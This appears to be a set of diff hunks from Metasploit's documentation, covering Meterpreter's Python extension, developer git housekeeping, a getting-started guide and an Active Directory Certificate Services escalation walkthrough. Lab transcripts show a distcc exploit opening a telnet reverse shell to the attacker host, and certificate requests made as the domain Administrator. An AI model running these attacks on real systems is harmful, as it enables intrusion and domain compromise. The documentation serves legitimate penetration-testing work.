meterpreter > python_execute "x = [y for y in range(0, 20) if y % 5 == 0]"
[+] Command executed without returning a result
```
The command above executes, but nothing was printed to stdout, or to stderr, and hence nothing was captured.
The good thing is that the Python extension is persistant across calls. This means that after the above command is executed, `x` is still present in the interpreter and can be accessed with another call:
```
The good thing is that the Python extension is persistent across calls. This means that after the above command is executed, `x` is still present in the interpreter and can be accessed with another call:
```msf
meterpreter > python_execute "print x"
[+] Content written to stdout:
[0, 5, 10, 15]
```
As useful as this is, developers may want to produce post-modules that make use of the data that a Python script has generated. Parsing stdout is not ideal in such a scenario, and hence this command provides the means for individual variables to be extracted directly using the `-r` paramter, as described by the help:
```
As useful as this is, developers may want to produce post-modules that make use of the data that a Python script has generated. Parsing stdout is not ideal in such a scenario, and hence this command provides the means for individual variables to be extracted directly using the `-r` parameter, as described by the help:
```msf
meterpreter > python_execute "x = [y for y in range(0, 20) if y % 5 == 0]" -r x
[+] x = [0, 5, 10, 15]
```
Note that this command requires the first parameter to be a string that contains code that needs to be executed. However, this string can be blank, resulting in no code being executed. This means that extraction of content generated in previous calls is still possible without executing more code, or rerunning previous code snippets just to make use of the `-r` parameter:
```
```msf
meterpreter > python_execute "" -r x
[+] x = [0, 5, 10, 15]
```
@@ -95,7 +95,7 @@ Sometimes, single-line execution isn't enough, or is cumbersome. The `python_imp
## python_import
This command allows for whole modules to be loaded from the attacker's machine an uploaded to the target interpreter. The full help is shown below:
```
```msf
meterpreter > python_import -h
Usage: python_import <-f file path> [-n mod name] [-r result var name]
@@ -114,8 +114,8 @@ OPTIONS:
Importing of module trees is still considered a _beta_ feature, but we encourage you to use it where possible and keep us informed of any issues you may face.
Consider the following script:
```
$ cat /tmp/drives.py
```python
# $ cat /tmp/drives.py
import string
from ctypes import windll
@@ -133,7 +133,7 @@ result = get_drives()
print result
```
The aim of this is to determine all the local logical drives and put the letters into a list. From there it prints that list to screen. The result of running the script is as follows:
```
```msf
meterpreter > python_import -f /tmp/drives.py
[*] Importing /tmp/drives.py ...
[+] Content written to stdout:
@@ -146,7 +146,7 @@ This command is also intended to allow for recursive loading of modules from the
## python_reset
It may get to a point where the content of the interpreter needs to be flushed. The `python_reset` command clears out all imports, libraries and global variables:
```
```msf
meterpreter > python_execute "x = 100"
[+] Command executed without returning a result
meterpreter > python_execute "print x"
@@ -244,7 +244,7 @@ It is not possible to delete transports using the python extension as this opens
### Bindings example
```
```msf
meterpreter > getuid
Server username: WIN-TV01I7GG7JK\oj
meterpreter > python_execute "import meterpreter.user; print meterpreter.user.getuid()"
@@ -8,18 +8,18 @@ Clone a new metasploit-framework.git repository:
Go there and check out every remote branch we've got. That way, if you screw up and delete something important, you can add it back in later from this backup clone.
````
```
todb@presto:~/github/todb-r7$ cd msf-backup.git
`todb@presto:~/github/todb-r7/metasploit-framework$ for b in `git branch -r | grep -v "HEAD -> origin" | sed 's/^ origin\///'`; do git checkout -b $b --track origin/$b; done
````
```
Tarball it out of the way.
````
```
todb@presto:~/github/todb-r7$ cd ..
todb@presto:~/github$ tar zxvf msf-backup.git.tar.gz
todb@presto:~/github$ rm -rf msf-backup.git
````
```
# Make a new clone
@@ -35,10 +35,10 @@ First, wipe out anything that responds to prune. Usually that's not a lot.
Next, take a look at what's already merged and what's not. We can drop most of the merged stuff right away.
````
```
mazikeen:./msf-prune$ git branch -r --merged
mazikeen:./msf-prune$ git branch -r --no-merged
````
```
That gives a pretty good idea of how many branches we're talking about.
@@ -46,21 +46,21 @@ That gives a pretty good idea of how many branches we're talking about.
Here's a one-liner, lightly modified from http://stackoverflow.com/questions/2514172/listing-each-branch-and-its-last-revisions-date-in-git#2514279 which lists all remote **merged** branches in date order.
````
```
mazikeen:./msf-prune$ for k in `git branch -r --merged |grep -v "HEAD ->" | sed s/^..//`; do echo -e `git log -1 --pretty=format:"%Cgreen%ci %Cblue%cr%Creset" $k --`\\t"$k";done | sort
````
```
Count off how many you want to keep at the end, do the arithmetic, and tack on another couple pipes to catch everything that's more than two weeks old. These are the merged branches that nobody's likely to miss.
`````
```
mazikeen:./msf-prune$ for k in `git branch -r --merged |grep -v "HEAD ->" | sed s/^..//`; do echo -e `git log -1 --pretty=format:"%Cgreen%ci %Cblue%cr%Creset" $k --`\\t"$k";done | sort | head -45 | sed "s/^.*origin\///" > /tmp/merged_to_delete.txt
````
```
Pull the trigger:
````
```
mazikeen:./msf-prune$ for b in `cat /tmp/merged_to_delete.txt`; do echo Deleting $b && git push origin :$b; done
````
```
Note that we still have our tarball, so if we need to reinstate any of these branches, just need to re-push.
@@ -31,14 +31,14 @@ You can inspect exactly what commits are contained in this merge with the follow
Like so:
````
```
$ git log bad-merge...bad-merge~ --oneline
3996557 Fix conflcit lib/msf/util/exe.rb
6296c4f Merge pull request #9 from tabassassin/retab/pr/2320
d0a3ea6 Retab changes for PR #2320
bff7d0e Merge for retab
4c9e6a8 Default to exe-small
````
```
The syntax is a little wacky, but this is saying, "Show me all the commit hashes that occur from the `bad-merge` point to one back from `bad-merge` (in other words, from right before `bad-merge` was merged). That's what the tilde (~) means. You could also use `bad-merge^` or `bad-merge^1`, they're all equivalent.
@@ -4,9 +4,9 @@ If you're in the business of writing or collecting Metasploit modules that aren'
You must first set up a directory structure that fits with Metasploit's expectations of path names. What this typically means is that you should first create an "exploits" directory structure, like so:
````bash
```bash
mkdir -p $HOME/.msf4/modules/exploits
````
```
If you are using `auxiliary` or `post` modules, or are writing `payloads` you'll want to `mkdir` those as well.
@@ -14,9 +14,9 @@ If you are using `auxiliary` or `post` modules, or are writing `payloads` you'll
Modules are sorted by (somewhat arbitrary) categories. These can be anything you like; I usually use `test` or `private`, but if you are developing a module with an eye toward providing it to the main Metasploit distribution, you will want to mirror the real module path. For example:
````bash
```bash
mkdir -p $HOME/.msf4/modules/exploits/windows/fileformat
````
```
... if you are developing a file format exploit for Windows.
@@ -36,7 +36,7 @@ For full details:
If you already have msfconsole running, use a `reload_all` command to pick up your new modules. If not, just start msfconsole and they'll be picked up automatically. If you'd like to test with something generic, I have a module posted up as a gist, here: <https://gist.github.com/todb-r7/5935519>, so let's give it a shot:
````bash
```bash
mkdir -p $HOME/.msf4/modules/exploits/test
curl -Lo ~/.msf4/modules/exploits/test/test_module.rb https://gist.github.com/todb-r7/5935519/raw/17f7e40ab9054051c1f7e0655c6f8c8a1787d4f5/test_module.rb
todb@ubuntu:~$ mkdir -p $HOME/.msf4/modules/exploits/test
@@ -44,7 +44,7 @@ todb@ubuntu:~$ curl -Lo ~/.msf4/modules/exploits/test/test_module.rb https://gis
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1140 0 1140 0 0 3607 0 --:--:-- --:--:-- --:--:-- 7808
````
```
Then, in my msfconsole window:
@@ -4,7 +4,7 @@ Recent changes to HTTP and HTTPS communications in both Meterpreter and its stag
The Windows API comes with two ways to talk via HTTP/S, they are [WinInet][] and [WinHTTP][]. The APIs are consumed in a similar fashion; many of the functions in each have the same interface, or are at least close enough to make a transition between the two rather trivial. However, there are some underlying differences that are important.
The [WinInet][] API was designed for use in desktop applications. It provides all the features required by applications to use HTTP/S while delegating much of the responsibilty of handling implementation detail to the underlying API and OS. This API can result in some user interface elements appearing if not handled correctly.
The [WinInet][] API was designed for use in desktop applications. It provides all the features required by applications to use HTTP/S while delegating much of the responsibility of handling implementation detail to the underlying API and OS. This API can result in some user interface elements appearing if not handled correctly.
[WinInet][] comes with some limitations, one of which is that it's close to impossible to do any kind of custom validation, parsing, or handling of SSL communications. One of the needs of Metasploit users is to be able to enable a [[Paranoid Mode|./meterpreter-paranoid-mode.md]] that forces Meterpreter to only talk with the appropriate endpoint. The goal is to prevent shells from being hijacked by unauthorised users. In order to do this, one of the things that was implemented was the verification of the SHA1 hash of the SSL certificate that Meterpreter reads from the server. If this hash doesn't match the one that Meterpreter is configured with, Meterpreter will shut down. [WinInet][] doesn't make this process possible without a _lot_ of custom work.
@@ -22,7 +22,7 @@ As indicated in a [blog post on MSDN][msdn_winhttp]:
What this means is that from Windows 7 and onwards, the underlying [WinHTTP][] implementation requires proper HTTP/1.1 support from any proxies that are used. If a proxy uses HTTP/1.0, such as Squid 2.7, and requires `Keep-Alive` support, such as NTLM authentication, then [WinHTTP][] will refuse to talk to it. Instead of downgrading, it will expect a purely RFC-compliant implementation, and instead will return a `407` error the client. This means that for Meterpreter to work, [WinHTTP][] can't be used.
In order to avoid this issue, [extra work][wininet_fallback] has beeen done to force Meterpreter to fall back to [WinInet][] when this happens. Given that [WinInet][] doesn't do certificate hash verification, this means that the user of Meterpreter loses the ability to use paranoid mode. It was decided that Meterpreter would not fallback to [WinInet][] if paranoid mode was enabled, as the intention of the user is clearly to avoid MITM.
In order to avoid this issue, [extra work][wininet_fallback] has been done to force Meterpreter to fall back to [WinInet][] when this happens. Given that [WinInet][] doesn't do certificate hash verification, this means that the user of Meterpreter loses the ability to use paranoid mode. It was decided that Meterpreter would not fallback to [WinInet][] if paranoid mode was enabled, as the intention of the user is clearly to avoid MITM.
To sum up, Meterpreter will use [WinHTTP][] where it can. If it can't, it'll fall back to [WinInet][] _unless_ paranoid mode is enabled.
@@ -27,7 +27,7 @@ If someone has library changes that cannot be merged to master, we cannot hang o
## Rescuing unstable modules
If you'd like to rescue an unstable module, great! Just note that it's an unstable rescue in the pull request, and the original PR number (if you can find it), when you pull it back out. You can do a similiar `git checkout` to grab the file and then `git mv` it to the right spot again.
If you'd like to rescue an unstable module, great! Just note that it's an unstable rescue in the pull request, and the original PR number (if you can find it), when you pull it back out. You can do a similar `git checkout` to grab the file and then `git mv` it to the right spot again.
## Safety
@@ -1,9 +1,259 @@
## Getting started
Depending on your skill level - if you have no experience with Metasploit, the following resources may be a better starting point:
Assuming you have installed Metasploit, either with the official Rapid7 nightly installers or through Kali, you can use the `msfconsole` command to open Metasploit:
* <https://tryhackme.com/room/rpmetasploit>
* <http://www.offensive-security.com/metasploit-unleashed/Main_Page>
* <https://metasploit.help.rapid7.com/docs/>
* <https://www.kali.org/docs/tools/starting-metasploit-framework-in-kali/>
* <https://github.com/rapid7/metasploitable3>
```msf
_ _
/ \ /\ __ _ __ /_/ __
| |\ / | _____ \ \ ___ _____ | | / \ _ \ \
| | \/| | | ___\ |- -| /\ / __\ | -__/ | || | || | |- -|
|_| | | | _|__ | |_ / -\ __\ \ | | | | \__/| | | |_
|/ |____/ \___\/ /\ \\___/ \/ \__| |_\ \___\
=[ metasploit v6.3.35-dev-0fc88a8050 ]
+ -- --=[ 2357 exploits - 1227 auxiliary - 413 post ]
+ -- --=[ 1387 payloads - 46 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit Documentation: https://docs.metasploit.com/
msf6 >
```
### Finding modules
Metasploit is based around the concept of [[modules]]. The most commonly used module types are:
- Auxiliary - Auxiliary modules do not exploit a target, but can perform data gathering or administrative tasks
- Exploit - Exploit modules leverage vulnerabilities in a manner that allows the framework to execute arbitrary code on the target host
- Payloads - Arbitrary code that can be executed on a remote target to perform a task, such as creating users, opening shells, etc
- Post - Post modules are used after a machine has been compromised. They perform useful tasks such as gathering, collecting, or enumerating data from a session.
You can use the `search` command to search for modules:
```msf
msf6 > search type:auxiliary http html title tag
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/scanner/http/title normal No HTTP HTML Title Tag Content Grabber
Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/http/title
msf6 >
```
You can `use` a Metasploit module by specifying the full module name. The prompt will be updated to indicate the currently
active module:
```msf
msf6 > use auxiliary/scanner/http/title
msf6 auxiliary(scanner/http/title) >
```
### Running Auxiliary modules
Auxiliary modules do not exploit a target, but can perform data gathering or administrative tasks. For instance, a module
extracting the HTTP title from a server:
```msf
msf6 > use auxiliary/scanner/http/title
msf6 auxiliary(scanner/http/title) >
```
Each module offers configurable options which can be viewed with the `show options`, or aliased `options`, command:
```msf
msf6 auxiliary(scanner/http/title) > show options
Module options (auxiliary/scanner/http/title):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SHOW_TITLES true yes Show the titles on the console as they are grabbed
SSL false no Negotiate SSL/TLS for outgoing connections
STORE_NOTES true yes Store the captured information in notes. Use "notes -t http.title" to view
TARGETURI / yes The base path
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
View the full module info with the info, or info -d command.
msf6 auxiliary(scanner/http/title) >
```
To set a module option, use the `set command`. We will set the `RHOST` option - which represents the target host(s) that
the module will run against:
```msf
msf6 auxiliary(scanner/http/title) > set RHOSTS google.com
RHOSTS => google.com
```
The `run` command will run the module against the target, showing the target's HTTP title:
```msf
msf6 auxiliary(scanner/http/title) > run
[+] [142.250.180.14:80] [C:301] [R:http://www.google.com/] [S:gws] 301 Moved
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
New in Metasploit 6 there is added support for running modules with options set as part of the run command. For instance, setting
both `RHOSTS` and enabling `HttpTrace` functionality:
```msf
msf6 auxiliary(scanner/http/title) > run rhosts=google.com httptrace=true
####################
# Request:
####################
GET / HTTP/1.1
Host: google.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
####################
# Response:
####################
HTTP/1.1 301 Moved Permanently
Location: http://www.google.com/
Content-Type: text/html; charset=UTF-8
Server: gws
Content-Length: 219
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>301 Moved</TITLE></HEAD><BODY>
<H1>301 Moved</H1>
The document has moved
<A HREF="http://www.google.com/">here</A>.
</BODY></HTML>
[+] [142.250.180.14:80] [C:301] [R:http://www.google.com/] [S:gws] 301 Moved
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/title) >
```
### Running exploit modules
Exploit modules require a vulnerable target. It is recommended to set up your own local test environment to run modules against.
For instance in a Virtual Machine, or with Docker. There are multiple pre-built vulnerable test environments including:
- [Metasploitable2](https://docs.rapid7.com/metasploit/metasploitable-2/)
- [Metasploitable3](https://github.com/rapid7/metasploitable3)
For instance - targeting a vulnerable Metasploitable2 VM and using the `unix/misc/distcc_exec` module:
```msf
msf6 > use unix/misc/distcc_exec
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(unix/misc/distcc_exec) >
```
Exploit modules will generally at a minimum require the following options to be set:
- `RHOST` - The remote target host address
- `LHOST` - The listen address. **Important** This may need to be set to your `tun0` IP address or similar, if you are connecting to your target over a VPN
- `PAYLOAD` - The code to be executed after an exploit is successful. For instance creating a user, or a Metasploit session. Often this can be left as the default value, but may sometimes require configuration
Each module offers configurable options which can be viewed with the `show options`, or aliased `options`, command:
```msf
msf6 exploit(unix/misc/distcc_exec) > options
Module options (exploit/unix/misc/distcc_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 3632 yes The target port (TCP)
Payload options (cmd/unix/reverse_bash):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Target
View the full module info with the info, or info -d command.
msf6 exploit(unix/misc/distcc_exec) >
```
For this scenario you can manually set each of the required option values (`RHOST`, `LHOST`, and optionally `PAYLOAD`):
```msf
msf6 exploit(unix/misc/distcc_exec) > set rhost 192.168.123.133
rhost => 192.168.123.133
msf6 exploit(unix/misc/distcc_exec) > set lhost 192.168.123.1
lhost => 192.168.123.1
msf6 exploit(unix/misc/distcc_exec) > set payload cmd/unix/reverse
payload => cmd/unix/reverse
```
The `run` command will run the module against the target, there is also an aliased `exploit` command which will perform the same action:
```msf
msf6 exploit(unix/misc/distcc_exec) > run
[+] sh -c '(sleep 4375|telnet 192.168.123.1 4444|while : ; do sh && break; done 2>&1|telnet 192.168.123.1 4444 >/dev/null 2>&1 &)'
[*] Started reverse TCP double handler on 192.168.123.1:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo BmpMGFX6NDVlh5h0;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "BmpMGFX6NDVlh5h0\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 2 opened (192.168.123.1:4444 -> 192.168.123.133:48578) at 2023-09-21 14:42:42 +0100
whoami
daemon
```
New in Metasploit 6 there is added support for running modules with options set as part of the run command:
```msf
msf6 exploit(unix/misc/distcc_exec) > run rhost=192.168.123.133 lhost=192.168.123.1 payload=cmd/unix/reverse
[+] sh -c '(sleep 4305|telnet 192.168.123.1 4444|while : ; do sh && break; done 2>&1|telnet 192.168.123.1 4444 >/dev/null 2>&1 &)'
[*] Started reverse TCP double handler on 192.168.123.1:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo QqL1Uzom6eBFilyL;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "QqL1Uzom6eBFilyL\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.123.1:4444 -> 192.168.123.133:52314) at 2023-09-21 13:52:40 +0100
whoami
daemon
```
@@ -2,7 +2,7 @@
Follow the instructions [[here|./ad-certificates/overview.md]] to set up an AD CS server
for testing purposes.
## Introduction to AD CS Vulnerabilities
# Introduction to AD CS Vulnerabilities
```mermaid
flowchart TD
escexp[Find vulnerable certificate templates\nvia ldap_esc_vulnerable_cert_finder] --> icpr[Issue certificates via icpr_cert]
@@ -13,9 +13,10 @@ flowchart TD
users[Request certificates on behalf of other users] --> ESC3{{ESC3}}
ESC2{{ESC2}} -- Via PKINIT --> pkinit[Authenticate to Kerberos]
ESC3{{ESC3}} -- Via PKINIT --> pkinit[Authenticate to Kerberos]
ad_cs_template[Reconfigure certificates via ad_cs_cert_template] -- Exploit configuration --> icpr
```
The chart above showcases how one can go about attacking three common AD CS
The chart above showcases how one can go about attacking four common AD CS
vulnerabilities, taking advantage of various flaws in how certificate templates are
configured on an Active Directory Certificate Server.
@@ -27,20 +28,24 @@ and finally using these certificates to authenticate to the domain as the domain
administrator via Kerberos.
Each certificate template vulnerability that will be discussed here has a ESC code, such
as ESC1, ESC2, or ESC3. These ESC codes are taken from the original whitepaper that
as ESC1, ESC2. These ESC codes are taken from the original whitepaper that
SpecterOps published which popularized these certificate template attacks, known as
[Certified
Pre-Owned](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf).
In this paper Will Schroeder and Lee Christensen described 8 different domain escalation
attacks that they found they could conduct via misconfigured certificate templates:
- ESC1 - Domain escalation via No Issuance Requirements + Enrollable Client
Authentication/Smart Card Logon OID templates + CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
- ESC1 - Domain escalation via No Issuance Requirements + Enrollable Client Authentication/Smart Card Logon OID templates +
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
- [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#using-the-esc1-vulnerability-to-get-a-certificate-as-the-domain-administrator]]
- ESC2 - Domain escalation via No Issuance Requirements + Enrollable Any Purpose
EKU or no EKU
- [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc2-to-gain-domain-administrator-privileges]]
- ESC3 - Domain escalation via No Issuance Requirements + Certificate Request
Agent EKU + no enrollment agent restrictions
- [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc3-to-gain-domain-administrator-privileges]]
- ESC4 - Domain escalation via misconfigured certificate template access control
- [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc4-to-gain-domain-administrator-privileges]]
- ESC5 - Domain escalation via vulnerable PKI AD Object Access Control
- ESC6 - Domain escalation via the EDITF_ATTRIBUTESUBJECTALTNAME2 setting on CAs + No
Manager Approval + Enrollable Client Authentication/Smart Card Logon OID templates
@@ -68,8 +73,8 @@ post](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-servi
- ESC11 - Relaying NTLM to ICPR - Relaying NTLM authentication to unprotected RPC
interface is allowed due to lack of the `IF_ENFORCEENCRYPTICERTREQUEST` flag on `Config.CA.Interface.Flags`.
Currently Metasploit only supports attacking ESC1 to ESC3. As such,
this paper only covers exploiting ESC1 to ESC3 at this time.
Currently, Metasploit only supports attacking ESC1, ESC2, ESC3, and ESC4. As such,
this page only covers exploiting ESC1 to ESC4 at this time.
Before continuing, it should be noted that ESC1 is slightly different than ESC2 and ESC3
as the diagram notes above. This is because in ESC1, one has control over the
@@ -91,7 +96,7 @@ certificates that are created using the vulnerable ESC2 certificate template
will not work for domain authentication. This restriction does not apply for those
certificates vulnerable to ESC2 which have the `Any Purpose` EKU applied to them.
Finally, ESC3 is fairly similar to ESC2, however it differs in two ways: a different EKU
Next, ESC3 is fairly similar to ESC2, however it differs in two ways: a different EKU
is abused, and the attacker also needs to utilize two different misconfigured certificate
templates in order to exploit the vulnerability. The EKU in question this time is the
Certificate Request Agent EKU, aka OID 1.3.6.1.4.1.311.20.2.1, which allows one to enroll
@@ -129,6 +134,8 @@ Domain Controller (DC), and will run a set of LDAP queries to gather a list of c
templates they make available for enrollment. It will then also query the permissions on both the CA and the certificate template to figure out
which users or groups can use that certificate template to elevate their privileges.
At this time, the module is capable of identifying techniques ESC1 through ESC3.
Keep in mind though that there are two sets of permissions in play here though. There is one set of permissions on the CA server that control
who is able to enroll in any certificate template from that server, and second set of permissions that control who is allowed to enroll in
a specific certificate template, which is applied to the certificate template itself. Therefore, the module will also specify which users are
@@ -177,10 +184,10 @@ View the full module info with the info, or info -d command.
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set DOMAIN DAFOREST
DOMAIN => DAFOREST
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set USERNAME normal
USERNAME => normal
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set PASSWORD normaluser
PASSWORD => normaluser
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set USERNAME normaluser
USERNAME => normaluser
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set PASSWORD normalpass
PASSWORD => normalpass
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set RHOSTS 172.30.239.85
RHOSTS => 172.30.239.85
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run
@@ -300,22 +307,40 @@ msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) >
```
From the output above we can determine that the SubCA certificate template is vulnerable to several attacks. However, whilst the issuing CAs allow any authenticated user to enroll in this certificate, the certificate template permissions prevent anyone but Domain Administrators and Enterprise Admins from being able to enroll in this certificate tempalte. At that point you probably don't need to elevate your privileges any higher, so this certificate template isn't that useful for us.
From the output above we can determine that the SubCA certificate template is vulnerable to several attacks. However,
whilst the issuing CAs allow any authenticated user to enroll in this certificate, the certificate template permissions
prevent anyone but Domain Administrators and Enterprise Admins from being able to enroll in this certificate template.
At that point you probably don't need to elevate your privileges any higher, so this certificate template isn't that
useful for us.
Moving onto the next certificate template we see that ESC1-Template is vulnerable to the ESC1 attack, has permissions on the template itself that allow for enrollment by any authenticated domain user, and has one issuing CA, daforest-WIN-BR0CCBA815B-CA, available at WIN-BR0CCBA815B.daforest.com, which allows enrollment by any authenticated user. This means that any user who is authenticated to the domain can utilize this template with a ESC1 attack to elevate their privileges.
Moving onto the next certificate template we see that ESC1-Template is vulnerable to the ESC1 attack, has permissions on
the template itself that allow for enrollment by any authenticated domain user, and has one issuing CA, daforest-WIN-
BR0CCBA815B-CA, available at WIN-BR0CCBA815B.daforest.com, which allows enrollment by any authenticated user. This means
that any user who is authenticated to the domain can utilize this template with a ESC1 attack to elevate their
privileges.
Looking at ESC2-Template we can see the same story however this time the template is vulnerable to an ESC2 attack. ESC3-Template1 is also the same but is vulnerable to ESC3_TEMPLATE_1 attacks, and ESC3-Template2 is the same but vulnerable to ESC3_TEMPLATE_2 attacks.
Looking at ESC2-Template we can see the same story however this time the template is vulnerable to an ESC2 attack.
ESC3-Template1 is also the same but is vulnerable to ESC3_TEMPLATE_1 attacks, and ESC3-Template2 is the same but
vulnerable to ESC3_TEMPLATE_2 attacks.
We also see that the User template is vulnerable to ESC3_TEMPLATE_2 attacks and the fact that it is enrollable from Domain Users and that daforest-WIN-BR0CCBA815B-CA allows enrollment in it by any authenticated user confirms the theory that this can be exploited by any authenticated attacker for an ESC3_TEMPLATE_2 attack.
We also see that the User template is vulnerable to ESC3_TEMPLATE_2 attacks and the fact that it is enrollable from
Domain Users and that daforest-WIN-BR0CCBA815B-CA allows enrollment in it by any authenticated user confirms the theory
that this can be exploited by any authenticated attacker for an ESC3_TEMPLATE_2 attack.
Another interesting one to note is the Machine template, which allows any domain joined computer to enroll in it, and who's issuing CA allows any authenticated user to request it.
Another interesting one to note is the Machine template, which allows any domain joined computer to enroll in it, and
who's issuing CA allows any authenticated user to request it.
With this we now have a list of certificates that can be utilized for privilege escalation. The next step is to use the `ipcr_cert` module to request certificates for authentication using the vulnerable certificate templates.
With this we now have a list of certificates that can be utilized for privilege escalation. The next step is to use the
`ipcr_cert` module to request certificates for authentication using the vulnerable certificate templates.
## Using the ESC1 Vulnerability To Get a Certificate as the Domain Administrator
Getting a certificate as the current user is great, but what we really want to do is elevate privileges if we can. Luckly we can also do this with the `icpr_cert` module. We just need to also set the `ALT_UPN` option to specify who we would like to authenticate as instead. Note that this only works with ESC1 vulnerable certificate templates which is why we can do this here.
# Using the ESC1 Vulnerability To Get a Certificate as the Domain Administrator
Getting a certificate as the current user is great, but what we really want to do is elevate privileges if we can.
Luckily we can also do this with the `icpr_cert` module. We just need to also set the `ALT_SID` and `ALT_UPN` options to
specify who we would like to authenticate as instead. Note that this only works with certificate templates that are
vulnerable to ESC1 due to having the `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` flag set.
If we know the domain name is `daforest.com` and the domain administrator of this domain is named `Administrator` we can quickly set this up:
If we know the domain name is `daforest.com` and the domain administrator of this domain is named `Administrator` we can
quickly set this up:
```msf
msf6 > use auxiliary/admin/dcerpc/icpr_cert
@@ -327,10 +352,12 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
RHOSTS => 172.30.239.85
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain DAFOREST
SMBDomain => DAFOREST
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normaluser
SMBPass => normaluser
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normal
SMBUser => normal
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
SMBPass => normalpass
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
SMBUser => normaluser
msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_SID S-1-5-21-3402587289-1488798532-3618296993-1000
ALT_SID => S-1-5-21-3402587289-1488798532-3618296993-1000
msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_UPN Administrator@daforest.com
ALT_UPN => Administrator@daforest.com
msf6 auxiliary(admin/dcerpc/icpr_cert) > run
@@ -338,6 +365,7 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run
[*] 172.30.239.85:445 - Requesting a certificate...
[+] 172.30.239.85:445 - The requested certificate was issued.
[*] 172.30.239.85:445 - Certificate SID: S-1-5-21-3402587289-1488798532-3618296993-1000
[*] 172.30.239.85:445 - Certificate UPN: Administrator@daforest.com
[*] 172.30.239.85:445 - Certificate stored at: /home/gwillcox/.msf4/loot/20221216143830_default_unknown_windows.ad.cs_338144.pfx
[*] Auxiliary module execution completed
@@ -368,10 +396,10 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC2-Template
CERT_TEMPLATE => ESC2-Template
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain DAFOREST
SMBDomain => DAFOREST
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normaluser
SMBPass => normaluser
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normal
SMBUser => normal
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
SMBPass => normalpass
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
SMBUser => normaluser
msf6 auxiliary(admin/dcerpc/icpr_cert) > show options
Module options (auxiliary/admin/dcerpc/icpr_cert):
@@ -388,8 +416,8 @@ Module options (auxiliary/admin/dcerpc/icpr_cert):
ploit-framework/wiki/Using-Metasploit
RPORT 445 yes The target port (TCP)
SMBDomain DAFOREST no The Windows domain to use for authentication
SMBPass normaluser no The password for the specified username
SMBUser normal no The username to authenticate as
SMBPass normalpass no The password for the specified username
SMBUser normaluser no The username to authenticate as
Auxiliary action:
@@ -442,8 +470,8 @@ Module options (auxiliary/admin/dcerpc/icpr_cert):
ploit-framework/wiki/Using-Metasploit
RPORT 445 yes The target port (TCP)
SMBDomain DAFOREST no The Windows domain to use for authentication
SMBPass normaluser no The password for the specified username
SMBUser normal no The username to authenticate as
SMBPass normalpass no The password for the specified username
SMBUser normaluser no The username to authenticate as
Auxiliary action:
@@ -481,8 +509,8 @@ Module options (auxiliary/admin/dcerpc/icpr_cert):
tasploit-framework/wiki/Using-Metasploit
RPORT 445 yes The target port (TCP)
